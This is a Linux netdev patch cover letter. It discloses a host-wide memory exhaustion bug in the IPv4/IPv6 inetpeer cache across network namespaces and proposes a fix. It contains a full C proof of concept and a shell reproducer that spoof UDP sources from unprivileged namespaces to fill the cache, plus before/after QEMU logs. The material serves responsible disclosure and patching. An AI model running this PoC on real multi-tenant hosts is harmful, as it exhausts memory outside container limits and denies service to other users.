From mboxrd@z Thu Jan 1 00:00:00 1970 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=74.125.82.53 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1796191747; b=cv+fkmxplUKHmCpZEieVPOYAdJkOIwpNVIlbWhnXv8AJ30MgEhlb3q55De+IiGZcn8tc oUHVqo6LTybMw0rravkTlaUJbDHFfKx9zkcRdurAddkUu9JJ7ieEaPGJTZ00+5dF/qmSk kVUdRMPKgZ3p56yVS8e5ke3Vqe6pEkLYNDJTvEURbImJnMwUCnoh46zBpjIhhFwC3UiwS 9QsYkt5HbdYuiMmZ5RYN0VctU8Ex+aAaG7ijuWl7raUY/YXpDvVeF9vXDI4K+2jjLPMGq ZHXi8g+5ZDZpgFdVQW2GtNSTpjjHuoe2gw8L6JywWmaxeu/vY4ZRBcYAOqzqVQbTtRA== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1796191747; h=DMARC-Filter:Received:DKIM-Signature:X-Google-DKIM-Signature: X-Gm-Message-State:X-Gm-Gg:X-Received:Received:From:To:Cc:Subject: Date:Message-ID:X-Mailer:MIME-Version:Content-Transfer-Encoding; bh=+QOaTZko5IB7+yIe2q0iulbOa+HxeoFE3dsv7YiBcjo=; b=iplYwdLxJwSFnvL9ts9ZILahVGNdPfvgS3b45Z4R4nde1PpuSvjK9pVVRD7zC3MtQUm2 au39Usxh07YnWRN5WIy46xBNKdHm4Sh22BWTBRTRW6oDrhMOU4yUmc4PEm/Su0hsBLTq0 gJMn1ipdW/hk8yi/GqfMQfTIFjKiMf53GQyyV/Z2I7d1RTWD8m2Zvk3fk9AZp/BiguuKu mpeArYE4wbZQao8M5g7f5eJOO3VHZVXSLD4wvA5uWXSDP0ACIW0rS8ImS5f64DsSs8Ce9 tLaRrS0ilwwb6KamXxtWRfk2tfwBghQ/qqeWixe05Qfh1tpqGgZ63oY3XVApGIeJCpw== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=nebusec.ai; spf=pass smtp.mailfrom=nebusec.ai; dkim=pass header.d=nebusec.ai header.i=@nebusec.ai header.a=rsa-sha256 header.s=google header.b=QfkWBYXq; arc=none smtp.remote-ip=74.125.82.53 Received: from mail-dl1-f53.google.com (mail-dl1-f53.google.com [74.125.82.53]) (using TLSv1.3 with cipher TLS_AES_128_GCM_SHA256 (128/128 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 82285606A31A for ; Wed, 2 Dec 2026 06:09:06 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 82285606A31A Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=quarantine dis=none) header.from=nebusec.ai Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=nebusec.ai Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=nebusec.ai header.i=@nebusec.ai header.a=rsa-sha256 header.s=google header.b=QfkWBYXq Received: by mail-dl1-f53.google.com with SMTP id a92af1059eb24-1b5b910c838so3031964c88.1 for ; Tue, 01 Dec 2026 22:09:06 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=nebusec.ai; s=google; t=1796191745; x=1796796545; darn=vger.kernel.org; h=content-transfer-encoding:mime-version:message-id:date:subject:cc :to:from:from:to:cc:subject:date:message-id:reply-to:content-type; bh=+QOaTZko5IB7+yIe2q0iulbOa+HxeoFE3dsv7YiBcjo=; b=QfkWBYXqZuBHO4spQJpBop5Tnlyefvnzf+mEnkFhYWbPn6PQ/0ZZdGx11dzzcO7nJC 4FD5ivo3XA3AVxlSBzozLBJa6p20nlJg0PJJWaRtRCThfeUOoy5Cc0yt45aOR5rxiDVj JX7GsqzPY43gXCL4nVlSigTzB3+7HtDjHspg96l1gTPVYL/mInjC8d6DuQQbqdGlquGi r09b9qzGCcP3LjC/JIEohWLbwJf2aUbOXBiDYp+xeezRbwtEcvdqPRVP2Qc+fflYql8X r+1K1wtMupJCKsP3uwsVl+/QnN9/XC2q9OPk1pf2JZ4Ra7S/V09xgDjgK3LlcodVOAYj tfDw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20260707; t=1796191745; x=1796796545; h=content-transfer-encoding:mime-version:message-id:date:subject:cc :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date :message-id:reply-to:content-type; bh=+QOaTZko5IB7+yIe2q0iulbOa+HxeoFE3dsv7YiBcjo=; b=IKsxpITaSHJJHxxEKk6O8Z6TkuuFatksCYomM2cTPsNBFmFWS3AVaBFllnVan5FT3l C7FPKoa8V25Oueix/XUOMnDDc0faS36zoTcdaT8SHEqIM1H8P8pwDoY2eYvzyxbq8EFJ MIFNsJVDhmD9PpAmzI5LSvCfqFfEVUQfL11IQdsdYWI1sSG4L4/y1g+24sO8MHn+ZrGA k7FYKi2EADtp4WUWEAqjkqgB9FVaMqnUJyClUtLBDp+589g/r+2Qji3eU0T7R6U+qgLN rCCYPsuz8rjZxmyTsV4sBG11440XRbshVErGcP3wTI+3bkDSs9sRH3/kQyPxyoC5jB7b h8fg== X-Gm-Message-State: APuU4Z91EhGqHySE4bhYixSv+0h8iBWVKO0Lndp+9FsQQWk63X7QM6BT fN0y8AJHfafRnsE+NXzwSOz+2EsuquOPFNa7/HYbCp9SpQkgP/Vkiy6AApA3BDDg3FrCCyMp1dj tP/pFtQ== X-Gm-Gg: AZFdTZeA/KIZcdGLZazISDc/6oNbbVuwYLDAs+Uah+9W6PMD6/Jv4IkW2/Aka7eHBe8 ilCWlDIm5z97KM8eveslrJYrGV/imUORLUOqNz/RVhtnOt0DP4BdnCFXRAItj4GPID4MRQxZsR7 2uGL1EhXd30m3ENZgU27Z3sWuAsfRISBIr8p/pA4mxxyYkY8YCAbiITUfLAoTgbBMkxLnkrGWx4 D6kFaSABaHusCJW+akx/4eIrgzJNlRmPJGyzxLpFm84VY5TYGnv3HOfDkS/aV6obUiL3NSVNMv/ wFAFx6LnQwA2TuwyGeZgr62VpGg4SdgxMHdyl7wXguzX8+j5W/n1ibJIOxOTDi203Q+oV9yxz4l i+AWJHLDQp+spvdykr6O1M2B0BEwMhFQHmilSIXQO9X6MJl9bvcYnuA4eAclOrEB36JCHwc3OcD xF18MFC8lJ4d44QXjUPqiENBNkwwvIuDY59RljL16WvOWcPjdtNwvz7OUW98GhkV5vR70k3j3bT t4VgZtZpKBpNRdgB94+31xymvRnSpvvJJKv0QtVXUrFXiRZZwyBYdziEM3HFb805TilLgSaAFS/ dOKIFhwVgFXBqKqvpf6LRjvqWGt+wLz5in7XIRfnqC+ZL7PkXyayOWZGpZ4= X-Received: by 2002:a05:7022:1583:b0:16e:c820:b20d with SMTP id a92af1059eb24-1b5567b2204mr41675478c88.5.1796191745050; Tue, 01 Dec 2026 22:09:05 -0800 (PST) Received: from enjou-Legion-Y7000P-2019 ([155.94.157.51]) by smtp.gmail.com with ESMTPSA id a92af1059eb24-1b5569bffd2sm84284730c88.0.2026.12.01.22.09.01 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Tue, 01 Dec 2026 22:09:04 -0800 (PST) From: Ren Wei To: netdev@vger.kernel.org Cc: dsahern@kernel.org, idosch@nvidia.com, davem@davemloft.net, edumazet@kernel.org, kuba@kernel.org, pabeni@redhat.com, willemb@google.com, horms@kernel.org, vega@nebusec.ai, caoruide123@gmail.com, weir@nebusec.ai Subject: [PATCH net 0/1] inetpeer: bound the peer cache across network namespaces Date: Wed, 2 Dec 2026 14:08:58 +0800 Message-ID: X-Mailer: git-send-email 2.53.0 X-Mailing-List: netdev@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: 8bit From: Ruide Cao Hi Linux kernel maintainers, We found an issue in net/ipv4/inetpeer.c. This bug is tracked at: https://bugtracker.nebusec.ai/f/11571 inet_peer_threshold is sized at roughly 1% of host physical memory. But the threshold is applied to each inet_peer_base on its own. Every network namespace has separate IPv4 and IPv6 bases. The global peer slab lacks SLAB_ACCOUNT, and allocations use GFP_ATOMIC without __GFP_ACCOUNT. So these objects are not charged to the attacker's memory cgroup. Garbage collection only runs on a cache miss. An attacker can quickly fill each base to just below the threshold. If the namespaces stay alive, all entries stay too, and no more GC runs. Creating and filling many user/network namespaces makes peer-cache memory grow linearly with the number of namespaces. This memory is outside container memory limits. Privilege model: root (or CAP_SYS_ADMIN) is only used to lower `inet_peer_threshold` for a quick demo and to start the workers. The trigger itself runs as an unprivileged worker under `unshare -Urn` (as `test_user` in the reproducer below). This change only adds a host-wide peer-cache bound and SLAB_ACCOUNT. It does not affect other networking features. The host-wide bound was lost in commit 4b9d9be839fd ("inetpeer: remove unused list"). That commit dropped compute_total() and switched to a per-base GC threshold. Later, commit c8a627ed06d6 ("inetpeer: add namespace support for inetpeer") moved those trees into each network namespace. This multiplied the same budget. This is not a reply to Eric Dumazet's August 2026 thread and not a resend of that patch. His patch would have capped each inet_peer_base at twice inet_peer_threshold, and he later dropped it. A per-base cap would not bound the host-wide total across namespaces. This series replaces that withdrawn attempt with a single host-wide counter. The SipHash change from that series, 2ee66e948717, is already upstream. It randomizes lookup and eviction. It does not provide a host-wide bound across namespaces. Link: https://lore.kernel.org/netdev/20260812205946.356185-2-edumazet@google.com/ Tested: in 2 GB RAM x86 QEMU, with inet_peer_threshold lowered to 5000 and 4 unprivileged namespaces of 2000 IPv4 peers each. /sys/kernel/slab/inet_peer/objects grew to 8700 without the fix. It stayed at 5339 with the fix (log below). packetdrill is not used. The trigger needs inet_peer entries across many network namespaces, not a single packet exchange. Reproducer script, run as root. The workers drop to test_user: #!/bin/sh set -eu BIN="${BIN:-./poc}" echo "=== uname $(uname -r) ===" THRESHOLD_SET="${THRESHOLD_SET:-5000}" NAMESPACES="${NAMESPACES:-4}" COUNT="${COUNT:-2000}" HOLD="${HOLD:-20}" FAMILY="${FAMILY:-v4}" echo "=== default inet_peer_threshold ===" cat /proc/sys/net/ipv4/inet_peer_threshold echo "=== set inet_peer_threshold=$THRESHOLD_SET ===" echo "$THRESHOLD_SET" > /proc/sys/net/ipv4/inet_peer_threshold echo -n "threshold_now="; cat /proc/sys/net/ipv4/inet_peer_threshold BASELINE=$(awk '{print $1}' /sys/kernel/slab/inet_peer/objects) echo "SLAB_BASELINE objects=$BASELINE" i=1 while [ "$i" -le "$NAMESPACES" ]; do # root orchestrates; trigger worker runs unprivileged under unshare -Urn as test_user su -s /bin/sh -c "exec unshare -Urn -- $BIN worker $COUNT $HOLD $FAMILY" test_user >/tmp/worker$i.log 2>&1 & echo "started namespace $i pid=$!" # wait for spray (TCG); poll until this worker logs slab_after or timeout w=0 while [ "$w" -lt 40 ]; do if grep -q 'slab_after=' /tmp/worker$i.log 2>/dev/null; then break fi sleep 2 w=$((w+1)) done OBJECTS=$(awk '{print $1}' /sys/kernel/slab/inet_peer/objects) echo "AFTER_NS=$i objects=$OBJECTS threshold=$THRESHOLD_SET" i=$((i + 1)) done j=1 while [ "$j" -le 5 ]; do OBJECTS=$(awk '{print $1}' /sys/kernel/slab/inet_peer/objects) echo "POLL j=$j objects=$OBJECTS threshold=$(cat /proc/sys/net/ipv4/inet_peer_threshold)" sleep 2 j=$((j+1)) done echo "=== FINAL ===" echo -n "threshold="; cat /proc/sys/net/ipv4/inet_peer_threshold echo "objects=$(awk '{print $1}' /sys/kernel/slab/inet_peer/objects)" echo "NAMESPACES=$NAMESPACES COUNT=$COUNT FAMILY=$FAMILY HOLD=$HOLD" echo "=== SLABDONE ===" We run the PoC in a 2 GB RAM x86 QEMU environment. ------BEGIN PoC------ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define VETH_RX "vethA" #define VETH_TX "vethB" #define RX_V4 "10.23.0.1/24" #define TX_V4 "10.23.0.2/24" #define RX_V4_ADDR "10.23.0.1" #define FAKE_V4_GW "10.23.0.254" #define SPOOF_V4_ROUTE "198.18.0.0/15" #define RX_V6 "fd00:23::1/64" #define TX_V6 "fd00:23::2/64" #define RX_V6_ADDR "fd00:23::1" #define FAKE_V6_GW "fd00:23::ffff" #define SPOOF_V6_ROUTE "2001:db8:1::/48" #define CLOSED_DPORT 9 static void die(const char *fmt, ...) { va_list ap; va_start(ap, fmt); vfprintf(stderr, fmt, ap); va_end(ap); fputc('\n', stderr); exit(1); } static int run_cmd(const char *fmt, ...) { char cmd[1024]; va_list ap; int ret; va_start(ap, fmt); vsnprintf(cmd, sizeof(cmd), fmt, ap); va_end(ap); ret = system(cmd); if (ret != 0) fprintf(stderr, "command failed (%d): %s\n", ret, cmd); return ret; } static int try_read_int_file(const char *path, int *value) { int fd; char buf[64]; ssize_t n; fd = open(path, O_RDONLY); if (fd < 0) return -1; n = read(fd, buf, sizeof(buf) - 1); close(fd); if (n < 0) return -1; buf[n] = '\0'; *value = atoi(buf); return 0; } static void send_ipv4_udp(int sock, int ifindex, uint32_t src_addr, uint32_t dst_addr, uint16_t dport, const void *payload, size_t payload_len) { struct sockaddr_in dst = { .sin_family = AF_INET, .sin_port = htons(dport), .sin_addr.s_addr = dst_addr, }; struct in_pktinfo pktinfo = { .ipi_ifindex = ifindex, .ipi_spec_dst.s_addr = src_addr, }; struct iovec iov = { .iov_base = (void *)payload, .iov_len = payload_len, }; char cbuf[CMSG_SPACE(sizeof(pktinfo))]; struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1, .msg_control = cbuf, .msg_controllen = sizeof(cbuf), }; struct cmsghdr *cmsg; memset(cbuf, 0, sizeof(cbuf)); cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_level = IPPROTO_IP; cmsg->cmsg_type = IP_PKTINFO; cmsg->cmsg_len = CMSG_LEN(sizeof(pktinfo)); memcpy(CMSG_DATA(cmsg), &pktinfo, sizeof(pktinfo)); if (sendmsg(sock, &msg, 0) < 0) die("sendmsg(ipv4): %s", strerror(errno)); } static void send_ipv6_udp(int sock, int ifindex, const struct in6_addr *src_addr, const struct in6_addr *dst_addr, uint16_t dport, const void *payload, size_t payload_len) { struct sockaddr_in6 dst = { .sin6_family = AF_INET6, .sin6_port = htons(dport), .sin6_addr = *dst_addr, }; struct in6_pktinfo pktinfo = { .ipi6_addr = *src_addr, .ipi6_ifindex = ifindex, }; struct iovec iov = { .iov_base = (void *)payload, .iov_len = payload_len, }; char cbuf[CMSG_SPACE(sizeof(pktinfo))]; struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1, .msg_control = cbuf, .msg_controllen = sizeof(cbuf), }; struct cmsghdr *cmsg; memset(cbuf, 0, sizeof(cbuf)); cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_PKTINFO; cmsg->cmsg_len = CMSG_LEN(sizeof(pktinfo)); memcpy(CMSG_DATA(cmsg), &pktinfo, sizeof(pktinfo)); if (sendmsg(sock, &msg, 0) < 0) die("sendmsg(ipv6): %s", strerror(errno)); } static void setup_namespace(void) { if (run_cmd("ip link set lo up")) die("failed to bring up loopback"); if (run_cmd("ip link add %s type veth peer name %s", VETH_RX, VETH_TX)) die("failed to create veth pair"); /* Some ip/busybox builds ignore peer name and call the peer veth0. */ if (!if_nametoindex(VETH_TX)) { if (run_cmd("ip link set veth0 name %s", VETH_TX)) die("failed to rename peer to %s", VETH_TX); } if (run_cmd("ip addr add %s dev %s", RX_V4, VETH_RX)) die("failed to add %s to %s", RX_V4, VETH_RX); if (run_cmd("ip addr add %s dev %s", TX_V4, VETH_TX)) die("failed to add %s to %s", TX_V4, VETH_TX); run_cmd("ip -6 addr add %s dev %s", RX_V6, VETH_RX); run_cmd("ip -6 addr add %s dev %s", TX_V6, VETH_TX); if (run_cmd("ip link set %s up", VETH_RX)) die("failed to bring up %s", VETH_RX); if (run_cmd("ip link set %s up", VETH_TX)) die("failed to bring up %s", VETH_TX); if (run_cmd("ip route add %s via %s dev %s onlink", SPOOF_V4_ROUTE, FAKE_V4_GW, VETH_RX)) die("failed to add IPv4 route"); run_cmd("ip -6 route add %s via %s dev %s onlink", SPOOF_V6_ROUTE, FAKE_V6_GW, VETH_RX); run_cmd("sysctl -qw net.ipv4.conf.all.rp_filter=0"); run_cmd("sysctl -qw net.ipv4.conf.default.rp_filter=0"); run_cmd("sysctl -qw net.ipv4.conf.%s.rp_filter=0", VETH_RX); run_cmd("sysctl -qw net.ipv4.conf.%s.rp_filter=0", VETH_TX); run_cmd("sysctl -qw net.ipv4.conf.all.accept_local=1"); run_cmd("sysctl -qw net.ipv4.conf.%s.accept_local=1", VETH_RX); run_cmd("sysctl -qw net.ipv4.conf.%s.accept_local=1", VETH_TX); run_cmd("sysctl -qw net.ipv4.icmp_msgs_per_sec=1000000"); run_cmd("sysctl -qw net.ipv4.icmp_msgs_burst=1000000"); /* keep icmp_ratelimit non-zero so icmpv4_xrlim_allow() calls inet_getpeer() */ run_cmd("sysctl -qw net.ipv4.icmp_ratelimit=1000"); run_cmd("sysctl -qw net.ipv4.ip_nonlocal_bind=1"); run_cmd("sysctl -qw net.ipv6.icmp.ratelimit=1000"); run_cmd("sysctl -qw net.ipv6.ip_nonlocal_bind=1"); } static void fill_ipv4(int sock, int ifindex, int count) { uint32_t dst_addr; uint8_t payload[8] = { 0 }; if (inet_pton(AF_INET, RX_V4_ADDR, &dst_addr) != 1) die("inet_pton(%s)", RX_V4_ADDR); for (int i = 1; i <= count; i++) { uint32_t src_addr = htonl((198U << 24) | (18U << 16) | i); memcpy(payload, &i, sizeof(i)); send_ipv4_udp(sock, ifindex, src_addr, dst_addr, CLOSED_DPORT, payload, sizeof(payload)); } } static void fill_ipv6(int sock, int ifindex, int count) { struct in6_addr dst_addr; uint8_t payload[8] = { 0 }; if (inet_pton(AF_INET6, RX_V6_ADDR, &dst_addr) != 1) die("inet_pton(%s)", RX_V6_ADDR); for (int i = 1; i <= count; i++) { struct in6_addr src_addr = {}; src_addr.s6_addr16[0] = htons(0x2001); src_addr.s6_addr16[1] = htons(0x0db8); src_addr.s6_addr16[2] = htons(0x0001); src_addr.s6_addr16[7] = htons(i); memcpy(payload, &i, sizeof(i)); send_ipv6_udp(sock, ifindex, &src_addr, &dst_addr, CLOSED_DPORT, payload, sizeof(payload)); } } static void worker_main(int count, int hold_seconds, bool do_v4, bool do_v6) { int sock; int sock6; int ifindex; int threshold; int slab_before = -1; int slab_after = -1; char path[128]; int one = 1; setup_namespace(); ifindex = if_nametoindex(VETH_TX); if (!ifindex) die("if_nametoindex(%s): %s", VETH_TX, strerror(errno)); threshold = 65664; try_read_int_file("/proc/sys/net/ipv4/inet_peer_threshold", &threshold); snprintf(path, sizeof(path), "/sys/kernel/slab/inet_peer/objects"); try_read_int_file(path, &slab_before); sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) die("socket(AF_INET): %s", strerror(errno)); setsockopt(sock, IPPROTO_IP, IP_FREEBIND, &one, sizeof(one)); setsockopt(sock, IPPROTO_IP, IP_TRANSPARENT, &one, sizeof(one)); if (setsockopt(sock, SOL_SOCKET, SO_BINDTODEVICE, VETH_TX, strlen(VETH_TX) + 1) < 0) die("SO_BINDTODEVICE(%s): %s", VETH_TX, strerror(errno)); sock6 = socket(AF_INET6, SOCK_DGRAM, 0); if (sock6 < 0) die("socket(AF_INET6): %s", strerror(errno)); setsockopt(sock6, IPPROTO_IPV6, IPV6_FREEBIND, &one, sizeof(one)); setsockopt(sock6, IPPROTO_IPV6, IPV6_TRANSPARENT, &one, sizeof(one)); if (setsockopt(sock6, SOL_SOCKET, SO_BINDTODEVICE, VETH_TX, strlen(VETH_TX) + 1) < 0) die("SO_BINDTODEVICE(%s): %s", VETH_TX, strerror(errno)); if (count <= 0) count = threshold - 1024; if (count > 65000) count = 65000; fprintf(stderr, "worker pid=%d threshold=%d target_per_family=%d slab_before=%d\n", getpid(), threshold, count, slab_before); if (do_v4) fill_ipv4(sock, ifindex, count); if (do_v6) fill_ipv6(sock6, ifindex, count); try_read_int_file(path, &slab_after); fprintf(stderr, "worker pid=%d slab_after=%d delta=%d\n", getpid(), slab_after, slab_after - slab_before); fprintf(stderr, "worker pid=%d holding namespace for %d seconds\n", getpid(), hold_seconds); sleep(hold_seconds); } static void usage(const char *prog) { fprintf(stderr, "usage: %s worker [count] [hold_seconds] [v4|v6|both]\n", prog); exit(1); } int main(int argc, char **argv) { if (argc < 2) usage(argv[0]); if (strcmp(argv[1], "worker") == 0) { int count = 0; int hold_seconds = 3600; bool do_v4 = true; bool do_v6 = true; if (argc >= 3) count = atoi(argv[2]); if (argc >= 4) hold_seconds = atoi(argv[3]); if (argc >= 5) { if (strcmp(argv[4], "v4") == 0) do_v6 = false; else if (strcmp(argv[4], "v6") == 0) do_v4 = false; else if (strcmp(argv[4], "both") != 0) usage(argv[0]); } worker_main(count, hold_seconds, do_v4, do_v6); return 0; } usage(argv[0]); return 1; } ------END PoC-------- The logs below are raw console output from two boots of 2 GB RAM x86 QEMU. They show inet_peer slab growth, read from /sys/kernel/slab/inet_peer/objects. Both runs use the same settings: NAMESPACES=4, COUNT=2000 and FAMILY=v4. inet_peer_threshold is lowered to 5000 for a quick multi-netns demo. The default on this guest was 65664. Root only starts the workers. Each worker runs as test_user under unshare -Urn. The lines are verbatim. [...] marks omitted output. With the fix, objects stopped at 5339. That is the 5000 cap plus the 300 objects already in the slab before the workers started. Pre-fix (base-commit, no host-wide cap): ----BEGIN log---- [...] === uname 7.3.0-rc3 === === default inet_peer_threshold === 65664 === set inet_peer_threshold=5000 === threshold_now=5000 SLAB_BASELINE objects=420 started namespace 1 pid=69 [...] AFTER_NS=1 objects=2460 threshold=5000 started namespace 2 pid=98 [...] AFTER_NS=2 objects=4560 threshold=5000 started namespace 3 pid=127 [...] AFTER_NS=3 objects=6660 threshold=5000 started namespace 4 pid=156 [...] AFTER_NS=4 objects=8700 threshold=5000 POLL j=1 objects=8700 threshold=5000 POLL j=2 objects=8700 threshold=5000 POLL j=3 objects=8700 threshold=5000 POLL j=4 objects=8700 threshold=5000 POLL j=5 objects=8700 threshold=5000 [...] === FINAL === threshold=5000 objects=8700 NAMESPACES=4 COUNT=2000 FAMILY=v4 HOLD=20 === SLABDONE === [...] -----END log----- Post-fix (base-commit + this patch): ----BEGIN log---- [...] === uname 7.3.0-rc3 === === default inet_peer_threshold === 65664 === set inet_peer_threshold=5000 === threshold_now=5000 SLAB_BASELINE objects=300 started namespace 1 pid=69 [...] AFTER_NS=1 objects=2280 threshold=5000 started namespace 2 pid=98 [...] AFTER_NS=2 objects=4319 threshold=5000 started namespace 3 pid=127 [...] AFTER_NS=3 objects=5339 threshold=5000 started namespace 4 pid=156 [...] AFTER_NS=4 objects=5339 threshold=5000 POLL j=1 objects=5339 threshold=5000 POLL j=2 objects=5339 threshold=5000 POLL j=3 objects=5339 threshold=5000 POLL j=4 objects=5339 threshold=5000 POLL j=5 objects=5339 threshold=5000 [...] === FINAL === threshold=5000 objects=5339 NAMESPACES=4 COUNT=2000 FAMILY=v4 HOLD=20 === SLABDONE === [...] -----END log----- Best regards, Ruide Cao Ruide Cao (1): inetpeer: bound the peer cache across network namespaces net/ipv4/inetpeer.c | 26 +++++++++++++++++++++++--- 1 file changed, 23 insertions(+), 3 deletions(-) base-commit: 17741334d00bf5ebd37f8c1c36bc9c146a351deb -- 2.47.3